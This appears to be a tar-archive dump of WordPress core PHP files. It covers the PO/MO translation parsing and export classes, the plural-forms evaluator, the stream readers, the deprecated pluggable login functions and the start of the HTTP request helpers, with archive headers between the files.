) . $append; } /** * Prepare a text as a comment -- wraps the lines and prepends # * and a special character to each line * * @access private * @param string $text the comment text * @param string $char character to denote a special PO comment, * like :, default is a space */ public static function comment_block( $text, $char = ' ' ) { $text = wordwrap( $text, PO_MAX_LINE_LEN - 3 ); return PO::prepend_each_line( $text, "#$char " ); } /** * Builds a string from the entry for inclusion in PO file * * @param Translation_Entry $entry the entry to convert to po string. * @return string|false PO-style formatted string for the entry or * false if the entry is empty */ public static function export_entry( $entry ) { if ( null === $entry->singular || '' === $entry->singular ) { return false; } $po = array(); if ( ! empty( $entry->translator_comments ) ) { $po[] = PO::comment_block( $entry->translator_comments ); } if ( ! empty( $entry->extracted_comments ) ) { $po[] = PO::comment_block( $entry->extracted_comments, '.' ); } if ( ! empty( $entry->references ) ) { $po[] = PO::comment_block( implode( ' ', $entry->references ), ':' ); } if ( ! empty( $entry->flags ) ) { $po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' ); } if ( $entry->context ) { $po[] = 'msgctxt ' . PO::poify( $entry->context ); } $po[] = 'msgid ' . PO::poify( $entry->singular ); if ( ! $entry->is_plural ) { $translation = empty( $entry->translations ) ? '' : $entry->translations[0]; $translation = PO::match_begin_and_end_newlines( $translation, $entry->singular ); $po[] = 'msgstr ' . PO::poify( $translation ); } else { $po[] = 'msgid_plural ' . PO::poify( $entry->plural ); $translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations; foreach ( $translations as $i => $translation ) { $translation = PO::match_begin_and_end_newlines( $translation, $entry->plural ); $po[] = "msgstr[$i] " . PO::poify( $translation ); } } return implode( "\n", $po ); } public static function match_begin_and_end_newlines( $translation, $original ) { if ( '' === $translation ) { return $translation; } $original_begin = "\n" === substr( $original, 0, 1 ); $original_end = "\n" === substr( $original, -1 ); $translation_begin = "\n" === substr( $translation, 0, 1 ); $translation_end = "\n" === substr( $translation, -1 ); if ( $original_begin ) { if ( ! $translation_begin ) { $translation = "\n" . $translation; } } elseif ( $translation_begin ) { $translation = ltrim( $translation, "\n" ); } if ( $original_end ) { if ( ! $translation_end ) { $translation .= "\n"; } } elseif ( $translation_end ) { $translation = rtrim( $translation, "\n" ); } return $translation; } /** * @param string $filename * @return bool */ public function import_from_file( $filename ) { $f = fopen( $filename, 'r' ); if ( ! $f ) { return false; } $lineno = 0; while ( true ) { $res = $this->read_entry( $f, $lineno ); if ( ! $res ) { break; } if ( '' === $res['entry']->singular ) { $this->set_headers( $this->make_headers( $res['entry']->translations[0] ) ); } else { $this->add_entry( $res['entry'] ); } } PO::read_line( $f, 'clear' ); if ( false === $res ) { return false; } if ( ! $this->headers && ! $this->entries ) { return false; } return true; } /** * Helper function for read_entry * * @param string $context * @return bool */ protected static function is_final( $context ) { return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context ); } /** * @param resource $f * @param int $lineno * @return null|false|array */ public function read_entry( $f, $lineno = 0 ) { $entry = new Translation_Entry(); // Where were we in the last step. // Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural. $context = ''; $msgstr_index = 0; while ( true ) { $lineno++; $line = PO::read_line( $f ); if ( ! $line ) { if ( feof( $f ) ) { if ( self::is_final( $context ) ) { break; } elseif ( ! $context ) { // We haven't read a line and EOF came. return null; } else { return false; } } else { return false; } } if ( "\n" === $line ) { continue; } $line = trim( $line ); if ( preg_match( '/^#/', $line, $m ) ) { // The comment is the start of a new entry. if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); $lineno--; break; } // Comments have to be at the beginning. if ( $context && 'comment' !== $context ) { return false; } // Add comment. $this->add_comment_to_entry( $entry, $line ); } elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); $lineno--; break; } if ( $context && 'comment' !== $context ) { return false; } $context = 'msgctxt'; $entry->context .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); $lineno--; break; } if ( $context && 'msgctxt' !== $context && 'comment' !== $context ) { return false; } $context = 'msgid'; $entry->singular .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgid_plural'; $entry->is_plural = true; $entry->plural .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgstr'; $entry->translations = array( PO::unpoify( $m[1] ) ); } elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) { if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) { return false; } $context = 'msgstr_plural'; $msgstr_index = $m[1]; $entry->translations[ $m[1] ] = PO::unpoify( $m[2] ); } elseif ( preg_match( '/^".*"$/', $line ) ) { $unpoified = PO::unpoify( $line ); switch ( $context ) { case 'msgid': $entry->singular .= $unpoified; break; case 'msgctxt': $entry->context .= $unpoified; break; case 'msgid_plural': $entry->plural .= $unpoified; break; case 'msgstr': $entry->translations[0] .= $unpoified; break; case 'msgstr_plural': $entry->translations[ $msgstr_index ] .= $unpoified; break; default: return false; } } else { return false; } } $have_translations = false; foreach ( $entry->translations as $t ) { if ( $t || ( '0' === $t ) ) { $have_translations = true; break; } } if ( false === $have_translations ) { $entry->translations = array(); } return array( 'entry' => $entry, 'lineno' => $lineno, ); } /** * @param resource $f * @param string $action * @return bool */ public function read_line( $f, $action = 'read' ) { static $last_line = ''; static $use_last_line = false; if ( 'clear' === $action ) { $last_line = ''; return true; } if ( 'put-back' === $action ) { $use_last_line = true; return true; } $line = $use_last_line ? $last_line : fgets( $f ); $line = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line; $last_line = $line; $use_last_line = false; return $line; } /** * @param Translation_Entry $entry * @param string $po_comment_line */ public function add_comment_to_entry( &$entry, $po_comment_line ) { $first_two = substr( $po_comment_line, 0, 2 ); $comment = trim( substr( $po_comment_line, 2 ) ); if ( '#:' === $first_two ) { $entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) ); } elseif ( '#.' === $first_two ) { $entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment ); } elseif ( '#,' === $first_two ) { $entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) ); } else { $entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment ); } } /** * @param string $s * @return string */ public static function trim_quotes( $s ) { if ( '"' === substr( $s, 0, 1 ) ) { $s = substr( $s, 1 ); } if ( '"' === substr( $s, -1, 1 ) ) { $s = substr( $s, 0, -1 ); } return $s; } } endif; pomo/entry.php000064400000007135147177035010007403 0ustar00 $value ) { $this->$varname = $value; } if ( isset( $args['plural'] ) && $args['plural'] ) { $this->is_plural = true; } if ( ! is_array( $this->translations ) ) { $this->translations = array(); } if ( ! is_array( $this->references ) ) { $this->references = array(); } if ( ! is_array( $this->flags ) ) { $this->flags = array(); } } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see Translation_Entry::__construct() */ public function Translation_Entry( $args = array() ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $args ); } /** * Generates a unique key for this entry. * * @return string|false The key or false if the entry is empty. */ public function key() { if ( null === $this->singular || '' === $this->singular ) { return false; } // Prepend context and EOT, like in MO files. $key = ! $this->context ? $this->singular : $this->context . "\4" . $this->singular; // Standardize on \n line endings. $key = str_replace( array( "\r\n", "\r" ), "\n", $key ); return $key; } /** * @param object $other */ public function merge_with( &$other ) { $this->flags = array_unique( array_merge( $this->flags, $other->flags ) ); $this->references = array_unique( array_merge( $this->references, $other->references ) ); if ( $this->extracted_comments != $other->extracted_comments ) { $this->extracted_comments .= $other->extracted_comments; } } } endif; pomo/plural-forms.php000064400000016674147177035010010675 0ustar00 6, '<' => 5, '<=' => 5, '>' => 5, '>=' => 5, '==' => 4, '!=' => 4, '&&' => 3, '||' => 2, '?:' => 1, '?' => 1, '(' => 0, ')' => 0, ); /** * Tokens generated from the string. * * @since 4.9.0 * @var array $tokens List of tokens. */ protected $tokens = array(); /** * Cache for repeated calls to the function. * * @since 4.9.0 * @var array $cache Map of $n => $result */ protected $cache = array(); /** * Constructor. * * @since 4.9.0 * * @param string $str Plural function (just the bit after `plural=` from Plural-Forms) */ public function __construct( $str ) { $this->parse( $str ); } /** * Parse a Plural-Forms string into tokens. * * Uses the shunting-yard algorithm to convert the string to Reverse Polish * Notation tokens. * * @since 4.9.0 * * @throws Exception If there is a syntax or parsing error with the string. * * @param string $str String to parse. */ protected function parse( $str ) { $pos = 0; $len = strlen( $str ); // Convert infix operators to postfix using the shunting-yard algorithm. $output = array(); $stack = array(); while ( $pos < $len ) { $next = substr( $str, $pos, 1 ); switch ( $next ) { // Ignore whitespace. case ' ': case "\t": $pos++; break; // Variable (n). case 'n': $output[] = array( 'var' ); $pos++; break; // Parentheses. case '(': $stack[] = $next; $pos++; break; case ')': $found = false; while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; if ( '(' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); continue; } // Discard open paren. array_pop( $stack ); $found = true; break; } if ( ! $found ) { throw new Exception( 'Mismatched parentheses' ); } $pos++; break; // Operators. case '|': case '&': case '>': case '<': case '!': case '=': case '%': case '?': $end_operator = strspn( $str, self::OP_CHARS, $pos ); $operator = substr( $str, $pos, $end_operator ); if ( ! array_key_exists( $operator, self::$op_precedence ) ) { throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) ); } while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; // Ternary is right-associative in C. if ( '?:' === $operator || '?' === $operator ) { if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) { break; } } elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) { break; } $output[] = array( 'op', array_pop( $stack ) ); } $stack[] = $operator; $pos += $end_operator; break; // Ternary "else". case ':': $found = false; $s_pos = count( $stack ) - 1; while ( $s_pos >= 0 ) { $o2 = $stack[ $s_pos ]; if ( '?' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); $s_pos--; continue; } // Replace. $stack[ $s_pos ] = '?:'; $found = true; break; } if ( ! $found ) { throw new Exception( 'Missing starting "?" ternary operator' ); } $pos++; break; // Default - number or invalid. default: if ( $next >= '0' && $next <= '9' ) { $span = strspn( $str, self::NUM_CHARS, $pos ); $output[] = array( 'value', intval( substr( $str, $pos, $span ) ) ); $pos += $span; break; } throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) ); } } while ( ! empty( $stack ) ) { $o2 = array_pop( $stack ); if ( '(' === $o2 || ')' === $o2 ) { throw new Exception( 'Mismatched parentheses' ); } $output[] = array( 'op', $o2 ); } $this->tokens = $output; } /** * Get the plural form for a number. * * Caches the value for repeated calls. * * @since 4.9.0 * * @param int $num Number to get plural form for. * @return int Plural form value. */ public function get( $num ) { if ( isset( $this->cache[ $num ] ) ) { return $this->cache[ $num ]; } $this->cache[ $num ] = $this->execute( $num ); return $this->cache[ $num ]; } /** * Execute the plural form function. * * @since 4.9.0 * * @throws Exception If the plural form value cannot be calculated. * * @param int $n Variable "n" to substitute. * @return int Plural form value. */ public function execute( $n ) { $stack = array(); $i = 0; $total = count( $this->tokens ); while ( $i < $total ) { $next = $this->tokens[ $i ]; $i++; if ( 'var' === $next[0] ) { $stack[] = $n; continue; } elseif ( 'value' === $next[0] ) { $stack[] = $next[1]; continue; } // Only operators left. switch ( $next[1] ) { case '%': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 % $v2; break; case '||': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 || $v2; break; case '&&': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 && $v2; break; case '<': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 < $v2; break; case '<=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 <= $v2; break; case '>': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 > $v2; break; case '>=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 >= $v2; break; case '!=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 != $v2; break; case '==': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 == $v2; break; case '?:': $v3 = array_pop( $stack ); $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 ? $v2 : $v3; break; default: throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) ); } } if ( count( $stack ) !== 1 ) { throw new Exception( 'Too many values remaining on the stack' ); } return (int) $stack[0]; } } endif; pomo/mo.php000064400000022376147177035010006661 0ustar00filename; } /** * Fills up with the entries from MO file $filename * * @param string $filename MO file to load * @return bool True if the import from file was successful, otherwise false. */ public function import_from_file( $filename ) { $reader = new POMO_FileReader( $filename ); if ( ! $reader->is_resource() ) { return false; } $this->filename = (string) $filename; return $this->import_from_reader( $reader ); } /** * @param string $filename * @return bool */ public function export_to_file( $filename ) { $fh = fopen( $filename, 'wb' ); if ( ! $fh ) { return false; } $res = $this->export_to_file_handle( $fh ); fclose( $fh ); return $res; } /** * @return string|false */ public function export() { $tmp_fh = fopen( 'php://temp', 'r+' ); if ( ! $tmp_fh ) { return false; } $this->export_to_file_handle( $tmp_fh ); rewind( $tmp_fh ); return stream_get_contents( $tmp_fh ); } /** * @param Translation_Entry $entry * @return bool */ public function is_entry_good_for_export( $entry ) { if ( empty( $entry->translations ) ) { return false; } if ( ! array_filter( $entry->translations ) ) { return false; } return true; } /** * @param resource $fh * @return true */ public function export_to_file_handle( $fh ) { $entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) ); ksort( $entries ); $magic = 0x950412de; $revision = 0; $total = count( $entries ) + 1; // All the headers are one entry. $originals_lengths_addr = 28; $translations_lengths_addr = $originals_lengths_addr + 8 * $total; $size_of_hash = 0; $hash_addr = $translations_lengths_addr + 8 * $total; $current_addr = $hash_addr; fwrite( $fh, pack( 'V*', $magic, $revision, $total, $originals_lengths_addr, $translations_lengths_addr, $size_of_hash, $hash_addr ) ); fseek( $fh, $originals_lengths_addr ); // Headers' msgid is an empty string. fwrite( $fh, pack( 'VV', 0, $current_addr ) ); $current_addr++; $originals_table = "\0"; $reader = new POMO_Reader(); foreach ( $entries as $entry ) { $originals_table .= $this->export_original( $entry ) . "\0"; $length = $reader->strlen( $this->export_original( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; // Account for the NULL byte after. } $exported_headers = $this->export_headers(); fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) ); $current_addr += strlen( $exported_headers ) + 1; $translations_table = $exported_headers . "\0"; foreach ( $entries as $entry ) { $translations_table .= $this->export_translations( $entry ) . "\0"; $length = $reader->strlen( $this->export_translations( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; } fwrite( $fh, $originals_table ); fwrite( $fh, $translations_table ); return true; } /** * @param Translation_Entry $entry * @return string */ public function export_original( $entry ) { // TODO: Warnings for control characters. $exported = $entry->singular; if ( $entry->is_plural ) { $exported .= "\0" . $entry->plural; } if ( $entry->context ) { $exported = $entry->context . "\4" . $exported; } return $exported; } /** * @param Translation_Entry $entry * @return string */ public function export_translations( $entry ) { // TODO: Warnings for control characters. return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0]; } /** * @return string */ public function export_headers() { $exported = ''; foreach ( $this->headers as $header => $value ) { $exported .= "$header: $value\n"; } return $exported; } /** * @param int $magic * @return string|false */ public function get_byteorder( $magic ) { // The magic is 0x950412de. // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 $magic_little = (int) - 1794895138; $magic_little_64 = (int) 2500072158; // 0xde120495 $magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF; if ( $magic_little == $magic || $magic_little_64 == $magic ) { return 'little'; } elseif ( $magic_big == $magic ) { return 'big'; } else { return false; } } /** * @param POMO_FileReader $reader * @return bool True if the import was successful, otherwise false. */ public function import_from_reader( $reader ) { $endian_string = MO::get_byteorder( $reader->readint32() ); if ( false === $endian_string ) { return false; } $reader->setEndian( $endian_string ); $endian = ( 'big' === $endian_string ) ? 'N' : 'V'; $header = $reader->read( 24 ); if ( $reader->strlen( $header ) != 24 ) { return false; } // Parse header. $header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header ); if ( ! is_array( $header ) ) { return false; } // Support revision 0 of MO format specs, only. if ( 0 != $header['revision'] ) { return false; } // Seek to data blocks. $reader->seekto( $header['originals_lengths_addr'] ); // Read originals' indices. $originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr']; if ( $originals_lengths_length != $header['total'] * 8 ) { return false; } $originals = $reader->read( $originals_lengths_length ); if ( $reader->strlen( $originals ) != $originals_lengths_length ) { return false; } // Read translations' indices. $translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr']; if ( $translations_lengths_length != $header['total'] * 8 ) { return false; } $translations = $reader->read( $translations_lengths_length ); if ( $reader->strlen( $translations ) != $translations_lengths_length ) { return false; } // Transform raw data into set of indices. $originals = $reader->str_split( $originals, 8 ); $translations = $reader->str_split( $translations, 8 ); // Skip hash table. $strings_addr = $header['hash_addr'] + $header['hash_length'] * 4; $reader->seekto( $strings_addr ); $strings = $reader->read_all(); $reader->close(); for ( $i = 0; $i < $header['total']; $i++ ) { $o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] ); $t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] ); if ( ! $o || ! $t ) { return false; } // Adjust offset due to reading strings to separate space before. $o['pos'] -= $strings_addr; $t['pos'] -= $strings_addr; $original = $reader->substr( $strings, $o['pos'], $o['length'] ); $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); if ( '' === $original ) { $this->set_headers( $this->make_headers( $translation ) ); } else { $entry = &$this->make_entry( $original, $translation ); $this->entries[ $entry->key() ] = &$entry; } } return true; } /** * Build a Translation_Entry from original string and translation strings, * found in a MO file * * @static * @param string $original original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator * @param string $translation translation string from MO file. Might contain * 0x00 as a plural translations separator * @return Translation_Entry Entry instance. */ public function &make_entry( $original, $translation ) { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } // Look for plural original. $parts = explode( "\0", $original ); $entry->singular = $parts[0]; if ( isset( $parts[1] ) ) { $entry->is_plural = true; $entry->plural = $parts[1]; } // Plural translations are also separated by \0. $entry->translations = explode( "\0", $translation ); return $entry; } /** * @param int $count * @return string */ public function select_plural_form( $count ) { return $this->gettext_select_plural_form( $count ); } /** * @return int */ public function get_plural_forms_count() { return $this->_nplurals; } } endif; pomo/streams.php000064400000017055147177035010007722 0ustar00 * * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage streams */ if ( ! class_exists( 'POMO_Reader', false ) ) : class POMO_Reader { public $endian = 'little'; public $_post = ''; /** * PHP5 constructor. */ public function __construct() { if ( function_exists( 'mb_substr' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $this->is_overloaded = true; } else { $this->is_overloaded = false; } $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_Reader::__construct() */ public function POMO_Reader() { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct(); } /** * Sets the endianness of the file. * * @param string $endian Set the endianness of the file. Accepts 'big', or 'little'. */ public function setEndian( $endian ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid $this->endian = $endian; } /** * Reads a 32bit Integer from the Stream * * @return mixed The integer, corresponding to the next 32 bits from * the stream of false if there are not enough bytes or on error */ public function readint32() { $bytes = $this->read( 4 ); if ( 4 != $this->strlen( $bytes ) ) { return false; } $endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V'; $int = unpack( $endian_letter, $bytes ); return reset( $int ); } /** * Reads an array of 32-bit Integers from the Stream * * @param int $count How many elements should be read * @return mixed Array of integers or false if there isn't * enough data or on error */ public function readint32array( $count ) { $bytes = $this->read( 4 * $count ); if ( 4 * $count != $this->strlen( $bytes ) ) { return false; } $endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V'; return unpack( $endian_letter . $count, $bytes ); } /** * @param string $string * @param int $start * @param int $length * @return string */ public function substr( $string, $start, $length ) { if ( $this->is_overloaded ) { return mb_substr( $string, $start, $length, 'ascii' ); } else { return substr( $string, $start, $length ); } } /** * @param string $string * @return int */ public function strlen( $string ) { if ( $this->is_overloaded ) { return mb_strlen( $string, 'ascii' ); } else { return strlen( $string ); } } /** * @param string $string * @param int $chunk_size * @return array */ public function str_split( $string, $chunk_size ) { if ( ! function_exists( 'str_split' ) ) { $length = $this->strlen( $string ); $out = array(); for ( $i = 0; $i < $length; $i += $chunk_size ) { $out[] = $this->substr( $string, $i, $chunk_size ); } return $out; } else { return str_split( $string, $chunk_size ); } } /** * @return int */ public function pos() { return $this->_pos; } /** * @return true */ public function is_resource() { return true; } /** * @return true */ public function close() { return true; } } endif; if ( ! class_exists( 'POMO_FileReader', false ) ) : class POMO_FileReader extends POMO_Reader { /** * @param string $filename */ public function __construct( $filename ) { parent::__construct(); $this->_f = fopen( $filename, 'rb' ); } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_FileReader::__construct() */ public function POMO_FileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } /** * @param int $bytes * @return string|false Returns read string, otherwise false. */ public function read( $bytes ) { return fread( $this->_f, $bytes ); } /** * @param int $pos * @return bool */ public function seekto( $pos ) { if ( -1 == fseek( $this->_f, $pos, SEEK_SET ) ) { return false; } $this->_pos = $pos; return true; } /** * @return bool */ public function is_resource() { return is_resource( $this->_f ); } /** * @return bool */ public function feof() { return feof( $this->_f ); } /** * @return bool */ public function close() { return fclose( $this->_f ); } /** * @return string */ public function read_all() { return stream_get_contents( $this->_f ); } } endif; if ( ! class_exists( 'POMO_StringReader', false ) ) : /** * Provides file-like methods for manipulating a string instead * of a physical file. */ class POMO_StringReader extends POMO_Reader { public $_str = ''; /** * PHP5 constructor. */ public function __construct( $str = '' ) { parent::__construct(); $this->_str = $str; $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_StringReader::__construct() */ public function POMO_StringReader( $str = '' ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $str ); } /** * @param string $bytes * @return string */ public function read( $bytes ) { $data = $this->substr( $this->_str, $this->_pos, $bytes ); $this->_pos += $bytes; if ( $this->strlen( $this->_str ) < $this->_pos ) { $this->_pos = $this->strlen( $this->_str ); } return $data; } /** * @param int $pos * @return int */ public function seekto( $pos ) { $this->_pos = $pos; if ( $this->strlen( $this->_str ) < $this->_pos ) { $this->_pos = $this->strlen( $this->_str ); } return $this->_pos; } /** * @return int */ public function length() { return $this->strlen( $this->_str ); } /** * @return string */ public function read_all() { return $this->substr( $this->_str, $this->_pos, $this->strlen( $this->_str ) ); } } endif; if ( ! class_exists( 'POMO_CachedFileReader', false ) ) : /** * Reads the contents of the file in the beginning. */ class POMO_CachedFileReader extends POMO_StringReader { /** * PHP5 constructor. */ public function __construct( $filename ) { parent::__construct(); $this->_str = file_get_contents( $filename ); if ( false === $this->_str ) { return false; } $this->_pos = 0; } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_CachedFileReader::__construct() */ public function POMO_CachedFileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } } endif; if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ) : /** * Reads the contents of the file in the beginning. */ class POMO_CachedIntFileReader extends POMO_CachedFileReader { /** * PHP5 constructor. */ public function __construct( $filename ) { parent::__construct( $filename ); } /** * PHP4 constructor. * * @deprecated 5.4.0 Use __construct() instead. * * @see POMO_CachedIntFileReader::__construct() */ public function POMO_CachedIntFileReader( $filename ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $filename ); } } endif; pluggable-deprecated.php000064400000014167147177035010011333 0ustar00ID, $remember); } else : _deprecated_function( 'wp_setcookie', '2.5.0', 'wp_set_auth_cookie()' ); endif; if ( !function_exists('wp_clearcookie') ) : /** * Clears the authentication cookie, logging the user out. This function is deprecated. * * @since 1.5.0 * @deprecated 2.5.0 Use wp_clear_auth_cookie() * @see wp_clear_auth_cookie() */ function wp_clearcookie() { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_clear_auth_cookie()' ); wp_clear_auth_cookie(); } else : _deprecated_function( 'wp_clearcookie', '2.5.0', 'wp_clear_auth_cookie()' ); endif; if ( !function_exists('wp_get_cookie_login') ): /** * Gets the user cookie login. This function is deprecated. * * This function is deprecated and should no longer be extended as it won't be * used anywhere in WordPress. Also, plugins shouldn't use it either. * * @since 2.0.3 * @deprecated 2.5.0 * * @return bool Always returns false */ function wp_get_cookie_login() { _deprecated_function( __FUNCTION__, '2.5.0' ); return false; } else : _deprecated_function( 'wp_get_cookie_login', '2.5.0' ); endif; if ( !function_exists('wp_login') ) : /** * Checks a users login information and logs them in if it checks out. This function is deprecated. * * Use the global $error to get the reason why the login failed. If the username * is blank, no error will be set, so assume blank username on that case. * * Plugins extending this function should also provide the global $error and set * what the error is, so that those checking the global for why there was a * failure can utilize it later. * * @since 1.2.2 * @deprecated 2.5.0 Use wp_signon() * @see wp_signon() * * @global string $error Error when false is returned * * @param string $username User's username * @param string $password User's password * @param string $deprecated Not used * @return bool True on successful check, false on login failure. */ function wp_login($username, $password, $deprecated = '') { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_signon()' ); global $error; $user = wp_authenticate($username, $password); if ( ! is_wp_error($user) ) return true; $error = $user->get_error_message(); return false; } else : _deprecated_function( 'wp_login', '2.5.0', 'wp_signon()' ); endif; /** * WordPress AtomPub API implementation. * * Originally stored in wp-app.php, and later wp-includes/class-wp-atom-server.php. * It is kept here in case a plugin directly referred to the class. * * @since 2.2.0 * @deprecated 3.5.0 * * @link https://wordpress.org/plugins/atom-publishing-protocol/ */ if ( ! class_exists( 'wp_atom_server', false ) ) { class wp_atom_server { public function __call( $name, $arguments ) { _deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' ); } public static function __callStatic( $name, $arguments ) { _deprecated_function( __CLASS__ . '::' . $name, '3.5.0', 'the Atom Publishing Protocol plugin' ); } } } http.php000064400000054720147177035010006251 0ustar00request( $url, $args ); } /** * Retrieve the raw response from a safe HTTP request using the GET method. * * This function is ideal when the HTTP request is being made to an arbitrary * URL. The URL is validated to avoid redirection and request forgery attacks. * * @since 3.6.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_safe_remote_get( $url, $args = array() ) { $args['reject_unsafe_urls'] = true; $http = _wp_http_get_object(); return $http->get( $url, $args ); } /** * Retrieve the raw response from a safe HTTP request using the POST method. * * This function is ideal when the HTTP request is being made to an arbitrary * URL. The URL is validated to avoid redirection and request forgery attacks. * * @since 3.6.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_safe_remote_post( $url, $args = array() ) { $args['reject_unsafe_urls'] = true; $http = _wp_http_get_object(); return $http->post( $url, $args ); } /** * Retrieve the raw response from a safe HTTP request using the HEAD method. * * This function is ideal when the HTTP request is being made to an arbitrary * URL. The URL is validated to avoid redirection and request forgery attacks. * * @since 3.6.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error The response or WP_Error on failure. */ function wp_safe_remote_head( $url, $args = array() ) { $args['reject_unsafe_urls'] = true; $http = _wp_http_get_object(); return $http->head( $url, $args ); } /** * Performs an HTTP request and returns its response. * * There are other API functions available which abstract away the HTTP method: * * - Default 'GET' for wp_remote_get() * - Default 'POST' for wp_remote_post() * - Default 'HEAD' for wp_remote_head() * * @since 2.7.0 * * @see WP_Http::request() For information on default arguments. * * @param string $url URL to retrieve. * @param array $args Optional. Request arguments. Default empty array. * @return array|WP_Error { * The response array or a WP_Error on failure. * * @type string[] $headers Array of response headers keyed by their name. * @type string $body Response body. * @type array $response { * Data about the HTTP response. * * @type int|false $code HTTP response code. * @type string|false $message HTTP response message. * } * @type WP_HTTP_Cookie[] $cookies Array of response cookies. * @type WP_HTTP_Requests_Response|null $http_response Raw HTTP response object. * } */ function wp_remote_request( $url, $args = array() ) { $http = _wp_http_get_object(); return $http->request( $url, $args ); } /** * Performs an HTTP request using the GET method and returns its response. * * @since 2.7.0 * * @see wp_remote_request() For more information on the response array format. * @see WP_Http::request() For default arguments information. * * @param string $url URL to retrieve. * @param array $args Optional. 